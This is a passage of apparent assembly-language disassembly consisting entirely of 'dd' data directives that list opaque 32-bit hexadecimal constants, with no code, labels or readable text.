		dd 75217E60h, 0C1FFB4EFh, 7DC82430h, 0A54081DBh, 648E3B7h
		dd 37C7B4C0h, 0B1B8D1A8h, 87DA8BEFh, 0D6584418h, 140A30CCh
		dd 3C27E9CFh, 7E25D000h, 1A58B762h, 0C3FE3D18h,	0C06E0308h
		dd 7E9CED20h, 0F700B356h, 0E4A50513h, 18CD2055h, 50D9DC49h
		dd 3E3E5851h, 0B94D0060h, 3137E1ACh, 0EAC60040h, 352CB5AFh
		dd 1000A29h, 365742BBh,	0F29B11h, 0B805C32Ah, 4DC5640Ch
		dd 8A69D505h, 0B084A6F4h, 7C10B980h, 41BE0024h,	51E26D25h
		dd 1EC09EEFh, 0C1381127h, 0FED20112h, 890FBCA0h, 993DDCF3h
		dd 1E775F00h, 0CF624B28h, 0E4910031h, 95FB7CCAh, 0C3D7535h
		dd 98007483h, 3EFFBDEEh, 2AEB99h, 16D59D2h, 0E514F567h
		dd 53D95E00h, 0E6CD2179h, 0F61D1FA3h, 0C0645E8Ah, 8901EE1Bh
		dd 7400E7F2h, 4FAB26A6h, 0F276154Ch, 0B9B400B5h, 9D7C5C01h
		dd 9500EFE4h, 0C07EBD8Fh, 0F0E876h, 16F5B454h, 0E28B83A0h
		dd 0E7F4A200h, 0B03975A8h, 1813F824h, 18A37F31h, 0C1005DF0h
		dd 0E9B33492h, 34185EBh, 0C2896FB7h, 9001613Ch,	9C5B308Fh
		dd 13C80F03h, 0B7DE0065h, 41D4F326h, 0C13E4554h, 6776000Bh
		dd 0B01FA76Ch, 0DBE50FB1h, 0E4C092F7h, 0FC4278A6h, 0F40042B8h
		dd 1B5EBBB5h, 77F0A181h, 8C4C50AFh, 0C0E2E076h,	8F5E6708h
		dd 833B7D80h, 0ADB18306h, 88389DE0h, 1DACD77Fh,	4CF3C1A7h
		dd 0F53010DDh, 3B412224h, 32B11200h, 65E84h, 319FFE9Bh
		dd 611AB2DFh, 5D894400h, 82213448h, 0F8470007h,	2D9EEAA3h
		dd 0D267B652h, 722063B4h, 70816Eh, 567C2005h, 0A229F940h
		dd 0EB7ADB00h, 0B8BAC14Ch, 579E0F84h, 0B9405679h, 642ACCF8h
		dd 0D007AE0h, 0EEB1C809h, 1E79FF85h, 0D05919h, 4ED7E4ACh
		dd 69791C7Ch, 629C6700h, 0F2F58071h, 6DC3E9Eh, 9DA3E002h
		dd 25C3AF42h, 5756A000h, 0AA557190h, 798A3B05h,	9A7DB80h
		dd 5DB1A203h, 0B3EAA007h, 1FE31068h, 0A401C06Fh, 0FCFB00B6h
		dd 8E3FD819h, 35031752h, 8B55DD85h, 70D0AFBAh, 0C3DF81h
		dd 0FB995871h, 3114D8A9h, 3D45F31Fh, 35F15782h,	1F94A0F7h
		dd 0B078A9FDh, 69481DA9h, 0ECDC3CFh, 34FB188Eh,	0EC8349A8h
		dd 0E6A47C00h, 0CE702E8Fh, 2D561D9Ch, 0B42B00D2h, 0F12AECE8h
		dd 7B0F9B70h, 3DA98494h, 35831943h, 0B2F3A08Bh,	694A035Ch
		dd 0F1F60D9Eh, 0DB6023h, 0B9389BF9h, 4486D136h,	6200AB22h
		dd 97A07A37h, 70094B57h, 17AE037Eh, 1F9848F9h, 961D2800h
		dd 6A4B7D4Eh, 0A4300003h, 8A7C660Eh, 0E803B1B2h, 0EE8E1C06h
		dd 0CC31009Fh, 8BAF9E72h, 0F201648Ah, 0E403FF63h, 0C06EDA17h
		dd 1CA1E9D8h, 0A784618h, 0A2A94Ah, 728AE7B9h, 0DC7B73B0h
		dd 0C8E1CC6Ch, 6AB4031Ch, 5B2965EDh, 0D5C8110Bh, 0D6178084h
		dd 0EF2E01Fh, 8BE1E398h, 48A52078h, 7E00847Eh, 0D92C2354h
		dd 19B26960h, 761C6F97h, 48F1D104h, 9E08A15Ch, 0C4428BFAh
		dd 0EBB14016h, 78CAA1h,	48AC7BA7h, 6AB7B5E6h, 0ED502960h
		dd 0A049A4EFh, 75163194h, 7E2C7BFh, 325EB01Ch, 7C016497h
		dd 811D2B1Fh, 0FCC8A17h, 0AFEDDh, 5F9A457Fh, 6DBC0BD9h
		dd 0FCFC472Dh, 0FD2F000Fh, 0DEF55A78h, 581B3E00h, 0C2F31C97h
		dd 0CFCD048Bh, 0C012E0A4h, 0E3899AA4h, 44C4571Dh, 742409C0h
		dd 0A63076h, 1FA56DABh,	53895C7Dh, 37E6C802h, 0E00770B2h
		dd 5E97Fh, 0BC082772h, 0B68EFDBBh, 19B2183Dh, 37082E21h
		dd 5B1C2180h, 978C4AFAh, 2002971h, 0FF88669h, 403E209h
		dd 0BFE1C9EFh, 1604876Ch, 28003870h, 9CBE9ECBh,	0E69BCDF5h
		dd 98570C45h, 46200AE1h, 320E4C7Eh, 2094E943h, 8A71DC06h
		dd 53FE0C6Ch, 2710A01Ch, 6FD0B200h, 69C1E022h, 0F2F0005Fh
		dd 9708973h, 0C4E6EE10h, 8291C00h, 0FC7BEADCh, 49820D2Ch
		dd 0F0C1AFE5h, 75304D96h, 8A6550DDh, 0C0A36834h, 0F2830210h
		dd 880D124h, 5530FD51h,	0F88C9703h, 1859E105h, 0A8950A08h
		dd 3275C320h, 0F6CECA00h, 773594E6h, 0EE50007Bh, 0AD3F550Eh
		dd 84520FFDh, 320EB22Ch, 0AE09CC60h, 0AC507A68h, 0EF2C6B1Eh
		dd 8273B420h, 4B0FBA79h, 0C0214849h, 7791D3D4h,	584000BBh
		dd 67FB1D22h, 0A701EA54h, 5A4E5F04h, 7DE0AA62h,	9F940050h
		dd 0B271C153h, 0E100F588h, 1456F65Eh, 7AA91Ah, 57DC1178h
		dd 39F35AE6h, 0FFDD3Eh,	9B1FE55Ch, 86EE4Eh, 298D0968h
		dd 13BF2004h, 22A7C300h, 0EC540597h, 0BCAE0069h, 81ABE7FFh
		dd 5A00636Fh, 0B1397CBDh, 173A2060h, 68A20Eh, 9BE234AAh
		dd 2400D2D0h, 94305309h, 163EF3h, 1AA967C4h, 4747192h
		dd 1E334400h, 6D118BA0h, 0DCE800EBh, 52F40386h,	0F51D9FA4h
		dd 0EE80E123h, 0E081142Ch, 98073E62h, 7EB701FFh, 6166B55Eh
		dd 0A2C8703Fh, 0CC996900h, 87DDCE44h, 2CFE00EFh, 683C906Ah
		dd 1B3B248Fh, 0A63BBAh,	797B739h, 0F60C327h, 6C79D534h
		dd 2D96809Eh, 0CAD694AFh, 1BFE7D00h, 0FC8CE2D1h, 0A4730E21h
		dd 30E0B188h, 5F8ADAF9h, 5905C03h, 0DEBB2213h, 6A180098h
		dd 0F228157Eh, 7401DFA6h, 0DE9E6291h, 0A8559258h, 0BF6EDB80h
		dd 7C2F00A8h, 3BA6E857h, 713FE098h, 316B80E6h, 83C0260Eh
		dd 0B7B80FCEh, 0DEE7F4ECh, 52AA2098h, 17009768h, 0B351D913h
		dd 0E806D4h, 0CF8AF3Ah,	0F6A5B512h, 0B7FFE400h,	0D34615BAh
		dd 359813CCh, 31660021h
		dd 2B7940A2h, 0D7D9160Ah, 4F01D7E9h, 0E3031268h, 7B8EBBECh
		dd 60B2E037h, 3C69D896h, 0E000A5A7h, 0A30D587Eh, 7BBC91Ah
		dd 0B327EEA0h, 4828001Eh, 0A900D330h, 97883E69h, 3202EFh
		dd 9A4CFB3Fh, 78DFC16Ah, 86F3A93Ch, 0A88596F6h,	0C44E3A10h
		dd 0E746D80h, 4524FF31h, 0E48C731Fh, 0AC523841h, 3E309A41h
		dd 44D600E3h, 0FF40A3B0h, 5600FDEDh, 0BD32CE43h, 3E4EEA8h
		dd 521F845Bh, 91D8F1ABh, 8F062DEBh, 9CAE7585h, 1C1FCF9h
		dd 160F956Dh, 2059F82Ch, 0C01E1DA8h, 8B074F70h,	370399C4h
		dd 0C29CF897h, 0A06E5FEAh, 500EA7EDh, 0C6197E3Bh, 0C0AD47h
		dd 0C4396676h, 94BE99D1h, 770030E6h, 0DC817C93h, 0B7A7E0h
		dd 5B69FC5Fh, 0E31E3F41h, 8963FD00h, 48B9CCA0h,	0BEF886h
		dd 47378531h, 0FA64F76Fh, 23219F00h, 0DFE794BAh, 92A5h
		dd 0CCBC6815h, 49C6431Ch, 809B7200h, 9D0CAC21h,	743401B4h
		dd 0DCA60E46h, 27A080ABh, 0B2C31660h, 64B812ACh, 0AF20006Bh
		dd 46884541h, 90C0B900h, 8F62E506h, 7CDF09A1h, 5C0E1D10h
		dd 43E89281h, 405BCD31h, 61C65D82h, 79213807h, 0F7A08052h
		dd 7D668Bh, 24E0FA76h, 5DE41936h, 3CD49107h, 27608A6Dh
		dd 0A25EECh, 667CE345h,	21E7F0C8h, 6C5FED00h, 646D1863h
		dd 0DC4401A3h, 62417560h, 8BEE20C3h, 0C0C8E007h, 3F26CA3Bh
		dd 99150918h, 0C002092Ch, 5BC05F3Eh, 19007D0Fh,	9C756714h
		dd 4D0B6h, 9041F61Bh, 96E7173Ah, 0E843C001h, 0B7B07A6Ah
		dd 3F719430h, 5281461Dh, 0E58FC83Eh, 0F9E30FBh,	0B30C6D00h
		dd 0C0118736h, 0EFD83BD9h, 0CBF05387h, 0A5E0DFC8h, 7DF26395h
		dd 98A97B28h, 0AB754800h, 0FDCE803Dh, 0B1080393h, 74169DDAh
		dd 119CAE8h, 0D8B20F00h, 0E96E4DE1h, 8E22008Ah,	0EC2562DEh
		dd 4A00E526h, 13E635D9h, 75313730h, 9F5002Ah, 2FEF1667h
		dd 6600B9BCh, 0C0569038h, 341F87Ah, 4E63B0Ah, 8803A2F0h
		dd 0AC49082Dh, 0B54C006Dh, 94E0EA3Dh, 0E426DC36h, 0FC20F888h
		dd 16AE6E03h, 8F647Ah, 1FFABF10h, 0F39269B6h, 61EE8504h
		dd 80EB8AA7h, 7B6A7160h, 501888F2h, 0B719B8F4h,	763800DFh
		dd 0A3DBBAEFh, 253D9CCBh, 1258C84Eh, 81C067C3h,	7F77C5h
		dd 0CDE6FD75h, 0EDD7E1BAh, 0FF0E8F7Ch, 0C083B818h, 50421C8Ah
		dd 79EE3AD5h, 0B35F2181h, 70DF9FBFh, 321DE37Dh,	1E404AF7h
		dd 4653776Ch, 73D273E5h, 0A430054h, 952A1615h, 7B3FFA9Ch
		dd 1A0D00CBh, 0E1DAFD1Ch, 2DB0033Fh, 0BC792F51h, 19555BB8h
		dd 4528C600h, 3AF6BFFBh, 9EC80172h, 67CA1F4h, 46472064h
		dd 801DF7FCh, 0FD1EEDh,	88EEEBB0h, 23B977h, 74D6ACF2h
		dd 0FF65DA4Ch, 0D02C5E00h, 754334FEh, 40B50050h, 777E2EDDh
		dd 492F33Bh, 5A8B0D00h,	1DEDA8EFh, 4D50004Eh, 578F202Ch
		dd 0EA26AB55h, 0F18030FAh, 0AF305290h, 0FBC339CCh, 89123E00h
		dd 358B0CE6h, 0E5FD5C00h, 0AA80BA6Eh, 190E00D2h, 9C498409h
		dd 2DE841B2h, 4CEC6B01h, 0B5BADE61h, 0F6007B78h, 0D01EB21Bh
		dd 511C53F5h, 71C0AC39h, 9FC40563h, 0CDBF00D9h,	5844F265h
		dd 1A001996h, 23C31D1Bh, 0C43814h, 0B710A5AEh, 86878AD7h
		dd 0D23A2400h, 1D353173h, 0F0753805h, 0EBE6A300h, 458856B6h
		dd 0D94FF701h, 38247BD1h, 1A40E4h, 272682C5h, 0EC2EE02h
		dd 18DB461Ch, 0D8DDCCC0h, 0E86D7FBh, 4B6C37AEh,	73504CA0h
		dd 0DB38E2E0h, 71E900F3h, 4501C3D8h, 5C9A19h, 0C902969Ah
		dd 0C74739B0h, 682B2105h, 8180B888h, 17150CDh, 0A0FAF0E9h
		dd 4065F2B3h, 23768DF4h, 0A988800h, 5C61F503h, 0E7AF3D2Ah
		dd 0E37F5300h, 0A69E0C9Fh, 9DC9D000h, 0BA3501DEh, 0D8FE26B2h
		dd 426080D0h, 8ECD736h,	9D870C1Fh, 9830675Fh, 0D66151h
		dd 0A765ADDh, 2E7BB021h, 0D82C280Ch, 1EE241D5h,	3DB67F9h
		dd 0EE6881B4h, 495EDA0h, 0F671F5FCh, 9806910Fh,	0E6620D5h
		dd 30E0E141h, 0D8F8619Eh, 0FD0FEA32h, 1F797483h, 355A4100h
		dd 56049Ch, 2F175D53h, 9F68CAA9h, 9D78D23Ch, 0C9A4B2DAh
		dd 0F8087D00h, 615EE4FAh, 9AE091D6h, 75C19F62h,	3B523600h
		dd 0EABF7Dh, 20A80DCAh,	0D48088AEh, 2A879C0Bh, 14060099h
		dd 2FE22B3h, 0A1B2ADBDh, 60F77470h, 0C89FBEh, 0C7946778h
		dd 0BB9B976Ah, 0D86DAB01h, 3C66A8F6h, 0FC200CC8h, 335700D9h
		dd 6F375417h, 4A008BA7h, 22D6825Ah, 320C89h, 0C171951Dh
		dd 0F27D5C7Ah, 7B901E00h, 2898F183h, 9DFC23h, 0B0ED7751h
		dd 840B3E53h, 0F5A49151h, 67DCF011h, 95652902h,	60210447h
		dd 543B0EA0h, 0CAA8EAh,	1569A89h, 296BA995h, 30AA263Ah
		dd 0AFEA21C4h, 3FBE02F1h, 0ADED450Ah, 0C8D89481h, 7FD1C8C4h
		dd 0E8F61809h, 4566804Ch, 0B00190h, 4B8B81B1h, 0ABC550EFh
		dd 729B24h, 0E30D7900h,	254749Dh, 39BB4B96h, 2044ABCFh
		dd 0B168011Eh, 42547840h, 1A7CCE5h, 6692ABE3h, 0F1790791h
		dd 3100EBA0h, 6E248BD4h, 7B5D905Eh, 469900B1h, 54773BA6h
		dd 3725ADF3h, 0AA500039h, 91967Dh, 0FA89F80Bh, 0C98DE0D8h
		dd 0B76077E8h, 919DDD50h, 0DDDA511Bh, 301C7EE0h, 6E80A559h
		dd 0E400DB6Ah, 0C7DC08Fh, 4571B7h, 7420E0DDh, 1F6D6C72h
		dd 55E8A570h, 5C001077h, 41CEB036h, 0A02A0Ch, 9E53DEFFh
		dd 0DFCC7587h, 66909F02h, 40976424h, 0F4EB364Ch, 2062000Bh
		dd 0FD5F7A0Dh, 0B21C6D5Dh, 90000F68h, 9AAF5A6Ch, 0D02502DDh
		dd 3FEDAC89h, 932093C0h, 0F9A6C100h, 2C8E24FDh,	34F400D1h
		dd 0A73753D0h, 6100CA25h, 3313F5C3h, 1F16802Fh,	0C069143Eh
		dd 0F0657228h, 530FE9E2h, 613B43C6h, 0F94F5D1h,	78A5B70h
		dd 2538D63Eh, 0ABDE80C5h, 780131BDh, 70E0C9B2h,	13D0E9F3h
		dd 0BB340099h, 86FE16FCh, 0E73D4ABCh, 0A07A0065h, 0CD90F493h
		dd 0A224003Dh, 2F1B4F71h, 0C1034518h, 1D088C91h, 539DC04Ah
		dd 0F23801C4h, 0A8F1EE8Ah, 0B925D477h, 809CC538h, 65A55D8Bh
		dd 78FB21h, 3A576E55h, 981AE828h, 8920C200h, 0A2DA759Fh
		dd 6A3538E2h, 0FC1B0900h, 0F56FB76Ch, 9D7E2100h, 30850A1Dh
		dd 127EC3Dh, 3F188189h,	201145E1h, 9E0025C2h, 0D5BB35F6h
		dd 13A7B3h, 6D08E54Dh, 76912B02h, 0A2A9DE00h, 0F6A6E8D7h
		dd 490A0007h, 0A0E12565h, 9300569Ch, 9A18809Fh,	0DABA61h
		dd 0B2FD0DE4h, 0D994402Fh, 82F0DB00h, 118C233Fh, 0AF7C0008h
		dd 1EDFC61Dh, 352D2FA0h, 4EAD475h, 0C0F61789h, 4C9BA738h
		dd 0D7554803h, 0E028E442h, 0B02ECD2Ch, 0BC38004Fh, 5C44C7A1h
		dd 903393Ah, 0C2E6038Bh, 1831A023h, 0FCB907E3h,	204E8847h
		dd 0A3918CA2h, 5A2A7300h, 0D08A9924h, 29F3890h,	87D17F00h
		dd 0DA35D64Eh, 1F9B5F06h, 20DBCDh, 0E6A1BB66h, 17773FAFh
		dd 0E8BFF30Ch, 2EB55854h, 4E1B0Bh, 0AD1DD88Eh, 1000FFF5h
		dd 0C572F197h, 1A677BCh, 6BA162C1h, 0CC31B33Bh,	4BEA16F7h
		dd 0E31D5707h, 8920EDFEh, 0F68CB6BFh, 8DEE00F1h, 2DD63B85h
		dd 0B4004C77h, 5B1E811Ch, 0ACF6C1h, 0D839DC40h,	90221F47h
		dd 8CF00C50h, 31B4B100h, 574F7E6Fh, 75900A1h, 9A963B1Dh
		dd 163EB044h, 0E0D400ADh, 0C225B236h, 5B991ECAh, 0A9FA4ECCh
		dd 0DF376FA0h, 0F2010C8Ch, 4C2BFBF1h, 86C07EF4h, 9FEE0073h
		dd 0CA0D2A0Eh, 0CB07F14Eh, 0F8FAB21h, 17481B70h, 44B8AEh
		dd 0FC731EA8h, 158151B6h, 0B1F84905h, 0A8804AC1h, 25EFBF3h
		dd 0FED1CE53h, 9A60931Dh
		dd 0DC00D687h, 760ACF57h, 373674h, 35AD4C9Ch, 0F11F2305h
		dd 83003BECh, 12D2CB9Dh, 618B8Ah, 0A4256497h, 0FD1FD81Bh
		dd 3835F500h, 0E2B46B71h, 0F010C0FCh, 0FAB0423Bh, 0B5A7302h
		dd 48B81F5Ch, 0FA3A8564h, 8A32018Fh, 4BB1348Eh,	65BDD49Ch
		dd 0BB059600h, 4F44C1C6h, 4D6D0086h, 0A17BF501h, 2A002364h
		dd 5309D860h, 0ED0C29h,	0E1B8F277h, 5A3DCFFDh, 42559200h
		dd 0DF6596E8h, 0DE250080h, 0ED5F4062h, 17007502h, 3B34B7E6h
		dd 1035A0h, 4F949EEBh, 0FC0A5647h, 0FEC61700h, 0D8767A09h
		dd 0F20D008Fh, 3C527E2Bh, 0B2002907h, 0C4A7F54Bh, 3E7879Ah
		dd 0AD9116A4h, 0BDE93E90h, 478B20E2h, 30004476h, 60644F7Fh
		dd 3E80A4E9h, 3D80BB5Fh, 0B981DBF8h, 0A1013CC3h, 16787741h
		dd 9FFDEDE0h, 361C570h,	1AB5A3E5h, 3DF03359h, 18F8852Dh
		dd 0DAAF3500h, 0DD05A2Eh, 0FCC2A0D3h, 5E246h, 23FB7085h
		dd 0BCC2EE33h, 17736612h, 5C8CFB00h, 0A155F4h, 3BBE0AABh
		dd 9E68DAFBh, 24CB0C00h, 712140FAh, 6E6B0038h, 9628E63Eh
		dd 0A971571Fh, 24BA39h,	0E48408CEh, 66DE7Fh, 0B61F5E02h
		dd 763A8612h, 36A00600h, 0BF3407F4h, 5C1D128Fh,	77F000D4h
		dd 0A4F55FD8h, 0A4D9A838h, 0D281E4E7h, 0FE1ABEB3h, 3F581820h
		dd 9E8028DFh, 230C3E66h, 2A3AEB7Ah, 9D5B8353h, 26555DDCh
		dd 1C3DD638h, 891F80F3h, 2064C93Fh, 0EDEC7F50h,	0C887DF04h
		dd 96C07319h, 3D613F80h, 0A993BA31h, 0C78803A6h, 0EE81A8F7h
		dd 0E0B08935h, 9A3300B4h, 0BDD9BCh, 3C0C28B2h, 9051416Ah
		dd 0CA724700h, 7722B16Eh, 4F580048h, 0C595DCBAh, 6C00D8C3h
		dd 0F123E3E8h, 2B528DDh, 7B6FA37h, 0E7812D0Dh, 0C00EEF7Dh
		dd 8F3A6D3Dh, 80D53A56h, 0BA322021h, 706379h, 93714EE0h
		dd 581BDAD7h, 8816EE16h, 80AE00EAh, 3761C1DBh, 9C35F92Ch
		dd 2442803Dh, 5CA5977Fh, 7B51F72h, 12FF5C6Eh, 3C201C05h
		dd 0A488C103h, 80E8B48Ah, 2D791E0Ch, 0D4D20400h, 0E322729Ch
		dd 8917006Bh, 64EFC11Fh, 0BA039B94h, 0FE68B685h, 0C06A9252h
		dd 0FC0FB9h, 7ECAFB2Bh,	0C2C61EB2h, 0E081A309h,	6E66819Ch
		dd 0B5C42B12h, 94450072h, 401B2C5h, 0C0007142h,	22AFD493h
		dd 71D9953h, 3630433Dh,	0BCADF0ECh, 0CD0469BEh,	98320CBAh
		dd 0BF9DD8C0h, 30991C06h, 0D88380B3h, 62058827h, 0D1959600h
		dd 0BB476F08h, 381D0314h, 0BFA0B501h, 4048D7FAh, 91000280h
		dd 7B2A70B1h, 0EFF1E372h, 8EADF0h, 3D1C13A4h, 3B4796EFh
		dd 0AE47D00h, 66E71E65h, 0E0AB0323h, 2A989721h,	0F24A0C8h
		dd 930C3EF2h, 605A5D8Fh, 2228000Ah, 12811B80h, 0EA3C75E2h
		dd 5DF9009Ch, 3C7372A4h, 0F2C0FAF4h, 0AD6E370Eh, 0F7C88098h
		dd 0F800897Dh, 0E86A9DD4h, 7531E29Eh, 7CC00FDh,	0F2F4450Ch
		dd 0C775613Eh, 0B000EAFEh, 0A834F990h, 0EA1E5580h, 0A0980Fh
		dd 0FA8BD7EDh, 0B6F98DB3h, 80A726h, 686CF60Ch, 39C506CBh
		dd 198DF4F8h, 6019DA28h, 0D32FDC01h, 0E2C140ADh, 2AD69220h
		dd 7B704DC3h, 3EE6B1h, 866A3B88h, 5A408145h, 704E9603h
		dd 0D8D1BFF5h, 13C7DBh,	378F59F0h, 1D8A8B88h, 984ED6E2h
		dd 1FE47A0h, 24D4ADB1h,	0D826EE01h, 0C2070B8Fh,	0F2346299h
		dd 0C6E0B4C7h, 32A398h,	293C460Ah, 705235E8h, 0D5C29A00h
		dd 0B08B4F57h, 3B8F28D6h, 83460080h, 30E6BDF1h,	31389E55h
		dd 39CC9C14h, 0A203906Ah, 3F65A9Dh, 1554B076h, 8BF236h
		dd 0CB1AFDCCh, 0E1BBA0FFh, 6A2A7D0Ch, 71F927h, 36ABEA91h
		dd 3FA76FDEh, 925DCF07h, 8800588Eh, 0C820E0h, 418D0170h
		dd 29CBC0C6h, 0CF99220Bh, 2C40FB0h, 0C882907Bh,	7556D74h
		dd 0C123840Bh, 208EF0A1h, 721D223Bh, 67003042h,	1A5A0ADEh
		dd 53A30061h, 91016ACFh, 0BA008B8Ch, 0C3DB40AEh, 3EA464E3h
		dd 54FBB747h, 3720E890h, 916981F1h, 0E070FFF4h,	5800809Fh
		dd 53D6B2F8h, 0EAFE5Dh,	0D83A045Fh, 0CAAA63F4h,	18542600h
		dd 1F8125DAh, 83CF038Ah, 27221E0Fh, 54118D98h, 48697E09h
		dd 320F6ADh, 752883B8h,	440DFA8h, 7206200Fh, 0DA0725D5h
		dd 78D814C0h, 3459006Dh, 205C9A54h, 0A600D694h,	0D76FD137h
		dd 0E5FBD98h, 978767CEh, 380E3420h, 0E9730C11h,	0BE53C900h
		dd 843A5AEAh, 248900F8h, 0AEFB551Fh, 0EC007776h, 72BD9D85h
		dd 3CC1398Eh, 3D9C2C6Dh, 7BAD00F6h, 0D9CA2EC8h,	1DB6B800h
		dd 0B2185F49h, 0CDA10024h, 7E60439Ah, 0A8001B79h, 59DFB32Eh
		dd 19946E2h, 0FE66DA54h, 7071CB22h, 0A1077EF1h,	0B03E507Bh
		dd 3859F6h, 7C28D5E1h, 0A5045C30h, 61F5A007h, 2621181Ah
		dd 2AF413D6h, 6F02890h,	97A407C6h, 0CFD44A49h, 9D33BEC0h
		dd 0F0007302h, 5C45C321h, 90FFC867h, 6EA0050h, 0BE3CED3Eh
		dd 4000AAD6h, 0F90922CCh, 7A45E0h, 3AC7835Eh, 3170EF23h
		dd 4ABDED00h, 9EC2099Ch, 5D5B006Dh, 11FF8F51h, 31E27796h
		dd 0F501F4E0h, 0F7759EC1h, 22E03F08h, 6285005Ch, 17DB6A54h
		dd 6D03B5A2h, 449AD260h, 8C739879h, 0D3A901F6h,	0C08F8576h
		dd 0D0C447FCh, 88AA82ADh, 67C6B800h, 5DF25127h,	42871F4Ah
		dd 971E06h, 8D587AD3h, 0E0008424h, 1E2BB8ADh, 6A43DCEDh
		dd 705581Fh, 0A0590B79h, 0A2889929h, 0CACEE400h, 0F22D0827h
		dd 0D7A900F3h, 0DE160D84h, 0F400A0D9h, 831CB071h, 78CDBF7h
		dd 0E6BD758h, 630D603Dh, 0E2004EC7h, 506EF6E7h,	7EDB94h
		dd 0F50B246Bh, 258BE553h, 73629300h, 0A50A87F9h, 0BE050FDEh
		dd 1881B14Bh, 608C600Ch, 4C007600h, 9BDF7D84h, 3AA0F3Ah
		dd 12796937h, 0EB98BEF6h, 0F83D250Ch, 4A290078h, 4CDAEE0Bh
		dd 181B004Bh, 0ACBF9521h, 0A37239ABh, 4D684300h, 0F3ADAED8h
		dd 0E50201FEh, 12F5B3BDh, 0C439C0EAh, 0C66CD200h, 2DEC87A9h
		dd 78CD002Eh, 697A192Ch, 0E2EE1018h, 4E3E90Eh, 485B2026h
		dd 0DB1AA8h, 0EB07BDCAh, 0B77D067h, 0EF8780Fh, 371EC0AAh
		dd 351FA1Bh, 22A34838h,	2AB8362Fh, 30073CD3h, 77166012h
		dd 0D7C3F591h, 26DD68E8h, 1244BE4Fh, 0C0BC5C8Dh, 29579D1Ch
		dd 2A016401h, 79965669h, 90402FEAh, 0A3F7DABEh,	0A80D8E8h
		dd 8C203A2h, 0E2D4DC8Fh, 9A41E4A8h, 0F2795503h,	0A82AA5C8h
		dd 72DF8C90h, 0A33A0011h, 72465830h, 0C300AABDh, 0C578C25Dh
		dd 0C1AEFE2Dh, 0B5FA6338h, 0A51E8D5h, 90339E24h, 49E351Ch
		dd 0BFD71682h, 0B63160C7h, 0DE8907AEh, 0CA1AA6DDh, 2C7E008Ah
		dd 0F3997282h, 1E00A076h, 0DA40C380h, 483CF5FEh, 7F007B6Ch
		dd 1825DDE6h, 4CF0A51Bh, 0FDE44900h, 0A1E1261Eh, 33C5002Fh
		dd 0A09D7EEFh, 0D13AF8ADh, 3EA207A9h, 4E97B94Ch, 0EC5D4B60h
		dd 3AE2758Ah, 0AC82D208h, 0C45E954Dh, 4300B08Bh, 46B3A87Dh
		dd 756CD01Fh, 0AD80B75Dh, 0EDEE0C43h, 0DFE38A3h, 403D6300h
		dd 0D6B5C28Fh, 1E00CA7Bh, 0D2DB5C21h, 0D9512h, 82994006h
		dd 0FA24C03Ah, 9F8FB602h, 483245E4h, 4F9858h, 14F3D9FDh
		dd 0F4A20218h, 99D51700h, 0CD29EAA3h, 0D8900E81h, 48CADD2h
		dd 4F02D920h, 0D6209A74h, 446460ABh, 8D230DB3h,	0CC10AC22h
		dd 0D000CB92h, 0A2215855h, 0F2B2B556h, 713B78E9h, 48401425h
		dd 1E388472h, 38AEAA87h, 1A0700A2h, 140013F3h, 35495C9Bh
		dd 0FCAB158h, 0FB789ABFh, 31CEDE00h, 5FE81319h,	80E04E3Ch
		dd 0E88FE2ADh, 0FDFC7E9h, 3B604E7h, 162FE5C0h, 3B38656Dh
		dd 0D0D780BEh, 0DCCB0F40h
		dd 42307DDh, 0CBBBB4E9h, 438F0480h, 0E801BA01h,	65F6D06Ch
		dd 3260C637h, 347F084h,	0D6D734CAh, 0BF884C38h,	0DC0FFEF8h
		dd 80232E8Dh, 5AC164B9h, 52B10E5Dh, 280B21Ch, 17706991h
		dd 81680C3Fh, 0C5B45BA9h, 0B8C81311h, 883900E7h, 0A0285E70h
		dd 2F005899h, 4A9414CBh, 18AFA4h, 1DD2F4A7h, 669F4FCCh
		dd 0E28B091Dh, 27D9A1Dh, 53C0D115h, 5B0840CEh, 44802A4h
		dd 49EFA7C7h, 0FDA0858Eh, 1B6489B2h, 9C7B8B01h,	0AC4C959Ah
		dd 77A0F4h, 86DFAD21h, 3F4EBC9Eh, 2296A00h, 8DC0D3CFh
		dd 4C90009Fh, 41DE9DCEh, 150E8991h, 8069E6D4h, 0D8F88E51h
		dd 1A07BFEh, 0A2773520h, 0E43A2F79h, 753ECDB0h,	0DB9B073Bh
		dd 6E43ADD3h, 653CD011h, 73320079h, 24E2A599h, 1F00CA2Fh
		dd 0F5509195h, 4C69742Bh, 7E007C4Ch, 4E342AD1h,	9DFE7F32h
		dd 63F031Fh, 6ED5978Eh,	5B8E00AEh, 3274E49h, 3955C152h
		dd 70885CB0h, 8A03023Ah, 7FDF2F28h, 0E290AF0Eh,	93EFEDh
		dd 776F4EACh, 64F4979Fh, 6EDC5200h, 4481CFBAh, 6C4907CCh
		dd 70C57634h, 7F9BE1DAh, 8B00F490h, 7DE037F6h, 38567Ah
		dd 9FCE7174h, 0E1EAC9D9h, 0EDF4EC0Fh, 0B1AA0022h, 33A5FA8h
		dd 70A60691h, 5D908DE3h, 0F3004C2Bh, 38C3D048h,	45420Fh
		dd 8A9F977h, 0A6418A89h, 0AA14C41Eh, 828D003Dh,	0AD79BB3Fh
		dd 0DCF64C23h, 0E625E01Fh, 838B1EA8h, 21DBC356h, 27B80800h
		dd 0ED6452E6h, 67EF02B4h, 1F689CFBh, 5D6ACA60h,	0F3D54700h
		dd 3EEEAEB2h, 0CC7C1842h, 449F5924h, 37A1BA00h,	0E172F50Ch
		dd 0DB8D00AEh, 0A2B456EAh, 8E006D0Eh, 8AFBC12Dh, 13F3504Ch
		dd 0BFCB6E52h, 901A11h,	98416CB6h, 5071BEF4h, 2CDC0CE7h
		dd 80EC9009h, 4072EE5Eh, 1F031839h, 41B08AE4h, 0CFAEB817h
		dd 0DC0201DFh, 4F84CB26h, 6404D45Eh, 40F4C300h,	7F7E9790h
		dd 58F71EFAh, 2053C0F3h, 6D044770h, 0FF7CCA00h,	346ACF0Ch
		dd 7971E8ABh, 0AF796Fh,	0F161CD42h, 0BA82C23Ah,	5836C700h
		dd 3EA77BDFh, 1793B03Dh, 9902C5h, 1EEA970Ah, 430EB963h
		dd 607BD091h, 0A938A26Ch, 8D7500A3h, 0DB7FB8Fh,	8400F314h
		dd 7EF63F7h, 10E7EE0h, 0ED709057h, 40AB4FB2h, 90656D4h
		dd 3921553Ah, 4C798E0Fh, 21B0FF05h, 0C28FDh, 10E59948h
		dd 0A7B5823Fh, 0F0BD9B00h, 5B2B1517h, 0EF3019Fh, 41ADEF1Ch
		dd 89AC5277h, 0FA5A6C40h, 7E487C06h, 8AFDCh, 0F68AEF86h
